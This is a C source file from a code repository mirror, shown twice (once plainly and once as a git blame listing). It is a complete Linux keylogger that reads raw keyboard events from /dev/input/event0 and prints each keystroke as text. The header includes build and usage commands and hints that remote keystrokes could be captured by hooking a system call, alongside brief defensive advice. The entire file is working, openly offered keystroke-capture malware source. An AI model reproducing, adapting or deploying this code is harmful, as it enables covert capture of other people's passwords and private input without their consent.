[mirrors/Programs.git] / c / keylogger / klog.c

/* event0log.c v0.9
 * <~~Harvie 2oo8-2o21
 * THX2:	Dayvee (Idea), joe@aol.com (Reversing),
 *				-=Punka][Tux=- (BugReport),
 *				Warriant's code (Inspiration), Linus (Linux)
 *
 * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,)
 * In other words: this is keylogger for Linux.
 * If you have more keyboards, try other events (event1, ...eventX).
 * Only local keyboard is supported,
 *  remote keys can be captured by hooking on SYS_read() system call.
 *
 * Build:
 * - gcc argv[0].c -o argv[0]
 *
 * Usage (all examples do the same):
 * - cat /dev/input/event0 | argv[0]
 * - argv[0] /dev/input/event0
 * - argv[0] -
 *
 * Adding new keystroke values:
 * - <XXX> = keystroke id
 * - set MAXSTROKE to 0 to get only keystroke values
 *
 * Defensive security:
 * - chown & chmod /dev/input/event0
 * - don't give cheap root to everybody
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>
#define DEFAULTINPUT "/dev/input/event0"

typedef struct __attribute__((__packed__)) input_event_s {
	struct timeval time;
	unsigned short type;
	unsigned short code;
	unsigned int value;
} input_event_t;

time_t timestamp = 0;

#define MAXSTROKE 169 //Set higest keystroke code in DB (lower will not be converted)
char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard:
	"<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", //14
	"[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", //28
	"[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", //44
	"Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", //57
	"[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", //69
	"[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", //83
	"[./DEL-NUM]", "<85>", "<86>", "[MACRO-\\|]", "[F11]", "[F12]",
	"<90>","<91>", "<92>", "<93>", "<94>", "<95>", "<96>", "[ENTER-NUM]\n",
	"[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]",	"<102>",
	"[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]",
	"<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
	"<120>", "<121>", "<122>", "<123>", "<124>", "<125>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]", "<128>", "<129>",
	"<130>", "<131>", "<132>", "<133>", "<134>", "<135>", "<136>", "<137>", "<138>", "<139>",
	"<140>", "<141>", "<142>", "[Fn]",  "<144>", "<145>", "<146>", "<147>", "<148>", "<149>",
	"<150>", "<151>", "<152>", "<153>", "<154>", "<155>", "<156>", "<157>",	"[BACK]", "[FORW]",
	"<160>", "<161>", "<162>", "[NEXTSONG]", "[PLAYPAUSE]", "[PREVSONG]", "[STOPCD]", "<167>", "<168>", "<169>"
	/* Hint:
		[CAPSL][ESC]	= CapsLock On
		[CAPSL]		= CapsLock Off
		[NUML]<0>	= NumLock On
		[NUML] 		= NumLock Off
		3[ESC]3		= Escape
	*/
};

void cleanup(void) {
	fclose(stdin);
	fclose(stdout);
}

static void sigint_handler(int signo) {
	exit(0);
}

int main(int argc, char *argv[]) {

	atexit(&cleanup);
	signal(SIGINT, &sigint_handler);
	signal(SIGTERM, &sigint_handler);
	signal(SIGQUIT, &sigint_handler);
	signal(SIGSEGV, &sigint_handler);


	printf("Scancode DB size: %d B (0-%d)", sizeof(strokes), MAXSTROKE);

	char * filepath = NULL;
	if(argc > 1 && argv[1][0] != '-') {
		filepath = &argv[1][0];
	}
	if(argc > 1 && argv[1][0] == '-') {
		filepath = DEFAULTINPUT;
	}


	while(1) {

	while(1) {
		if(filepath != NULL && freopen(filepath, "rb", stdin) == NULL) {
			printf("\n%lu\tFailed to open file %s", time(NULL), filepath);
			sleep(1);
			continue;
			//return(1);
		} else {
			if(filepath != NULL) printf("\n%lu\tOpened file %s\n", time(NULL), filepath);
			break;
		}
	}
	setbuf(stdout, NULL);


	input_event_t input_event;
	while(read(0, &input_event, sizeof(input_event_t)) != -1) {
		if(input_event.type != 1 || input_event.value != 1) continue;
		//printf("\n%lu\tTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.time.tv_sec, input_event.type, input_event.code, input_event.value);
		if(input_event.code <= MAXSTROKE) {
			printf("%s", strokes[input_event.code]);
		} else {
			printf("<%d>", input_event.code);
		}
	}

	}

}
Commit	Line	Data
2d898775	1	/* event0log.c v0.9
8f3f8f1e	2	* <~~Harvie 2oo8-2o21
21c4e167 H	3	* THX2: Dayvee (Idea), joe@aol.com (Reversing),
21c4e167 H	4	* -=Punka][Tux=- (BugReport),
8f3f8f1e	5	* Warriant's code (Inspiration), Linus (Linux)
21c4e167 H	6	*
	7	* Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,)
	8	* In other words: this is keylogger for Linux.
	9	* If you have more keyboards, try other events (event1, ...eventX).
	10	* Only local keyboard is supported,
	11	* remote keys can be captured by hooking on SYS_read() system call.
	12	*
	13	* Build:
	14	* - gcc argv[0].c -o argv[0]
	15	*
	16	* Usage (all examples do the same):
	17	* - cat /dev/input/event0 \| argv[0]
	18	* - argv[0] /dev/input/event0
	19	* - argv[0] -
	20	*
	21	* Adding new keystroke values:
	22	* - <XXX> = keystroke id
	23	* - set MAXSTROKE to 0 to get only keystroke values
	24	*
	25	* Defensive security:
	26	* - chown & chmod /dev/input/event0
	27	* - don't give cheap root to everybody
	28	*/
	29
	30	#include <stdio.h>
	31	#include <stdlib.h>
8f3f8f1e TM	32	#include <stdint.h>
8f3f8f1e TM	33	#include <unistd.h>
21c4e167	34	#include <signal.h>
2d898775	35	#include <time.h>
21c4e167 H	36	#define DEFAULTINPUT "/dev/input/event0"
21c4e167 H	37
8f3f8f1e TM	38	typedef struct __attribute__((__packed__)) input_event_s {
	39	struct timeval time;
	40	unsigned short type;
	41	unsigned short code;
	42	unsigned int value;
	43	} input_event_t;
	44
2d898775 TM	45	time_t timestamp = 0;
2d898775 TM	46
4ca45da7	47	#define MAXSTROKE 169 //Set higest keystroke code in DB (lower will not be converted)
21c4e167	48	char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard:
4ca45da7 TM	49	"<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", //14
	50	"[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", //28
	51	"[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", //44
	52	"Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", //57
	53	"[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", //69
	54	"[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", //83
	55	"[./DEL-NUM]", "<85>", "<86>", "[MACRO-\\\|]", "[F11]", "[F12]",
	56	"<90>","<91>", "<92>", "<93>", "<94>", "<95>", "<96>", "[ENTER-NUM]\n",
	57	"[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<102>",
21c4e167	58	"[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]",
4ca45da7 TM	59	"<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
	60	"<120>", "<121>", "<122>", "<123>", "<124>", "<125>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]", "<128>", "<129>",
	61	"<130>", "<131>", "<132>", "<133>", "<134>", "<135>", "<136>", "<137>", "<138>", "<139>",
	62	"<140>", "<141>", "<142>", "[Fn]", "<144>", "<145>", "<146>", "<147>", "<148>", "<149>",
	63	"<150>", "<151>", "<152>", "<153>", "<154>", "<155>", "<156>", "<157>", "[BACK]", "[FORW]",
	64	"<160>", "<161>", "<162>", "[NEXTSONG]", "[PLAYPAUSE]", "[PREVSONG]", "[STOPCD]", "<167>", "<168>", "<169>"
21c4e167 H	65	/* Hint:
	66	[CAPSL][ESC] = CapsLock On
	67	[CAPSL] = CapsLock Off
	68	[NUML]<0> = NumLock On
	69	[NUML] = NumLock Off
	70	3[ESC]3 = Escape
	71	*/
	72	};
	73
	74	void cleanup(void) {
	75	fclose(stdin);
	76	fclose(stdout);
	77	}
	78
	79	static void sigint_handler(int signo) {
	80	exit(0);
	81	}
	82
	83	int main(int argc, char *argv[]) {
	84
	85	atexit(&cleanup);
	86	signal(SIGINT, &sigint_handler);
	87	signal(SIGTERM, &sigint_handler);
	88	signal(SIGQUIT, &sigint_handler);
	89	signal(SIGSEGV, &sigint_handler);
	90
	91
2d898775 TM	92	printf("Scancode DB size: %d B (0-%d)", sizeof(strokes), MAXSTROKE);
	93
	94	char * filepath = NULL;
21c4e167	95	if(argc > 1 && argv[1][0] != '-') {
2d898775	96	filepath = &argv[1][0];
21c4e167 H	97	}
21c4e167 H	98	if(argc > 1 && argv[1][0] == '-') {
2d898775	99	filepath = DEFAULTINPUT;
21c4e167 H	100	}
21c4e167 H	101
2d898775 TM	102
	103	while(1) {
	104
	105	while(1) {
	106	if(filepath != NULL && freopen(filepath, "rb", stdin) == NULL) {
	107	printf("\n%lu\tFailed to open file %s", time(NULL), filepath);
	108	sleep(1);
	109	continue;
	110	//return(1);
	111	} else {
	112	if(filepath != NULL) printf("\n%lu\tOpened file %s\n", time(NULL), filepath);
	113	break;
	114	}
21c4e167	115	}
8f3f8f1e TM	116	setbuf(stdout, NULL);
8f3f8f1e TM	117
21c4e167	118
8f3f8f1e	119	input_event_t input_event;
2d898775	120	while(read(0, &input_event, sizeof(input_event_t)) != -1) {
8f3f8f1e	121	if(input_event.type != 1 \|\| input_event.value != 1) continue;
2d898775	122	//printf("\n%lu\tTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.time.tv_sec, input_event.type, input_event.code, input_event.value);
8f3f8f1e TM	123	if(input_event.code <= MAXSTROKE) {
	124	printf("%s", strokes[input_event.code]);
	125	} else {
	126	printf("<%d>", input_event.code);
21c4e167 H	127	}
	128	}
	129
2d898775 TM	130	}
2d898775 TM	131
21c4e167	132	}